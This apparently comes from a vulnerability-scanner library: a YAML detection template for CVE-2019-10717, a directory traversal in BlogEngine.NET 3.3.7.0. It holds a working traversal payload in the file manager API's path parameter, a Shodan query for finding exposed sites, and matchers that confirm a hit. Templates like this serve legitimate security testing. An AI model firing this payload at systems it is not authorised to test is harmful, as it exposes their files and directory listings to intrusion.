id: CVE-2019-10717

info:
  name: BlogEngine.NET 3.3.7.0 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter
  reference:
    - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect
    - https://github.com/rxtur/BlogEngine.NET/commits/master
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10717
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2019-10717
    cwe-id: CWE-22
  metadata:
    max-request: 1
    shodan-query: http.html:"Blogengine.net"
    verified: true
  tags: cve,cve2019,blogengine,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200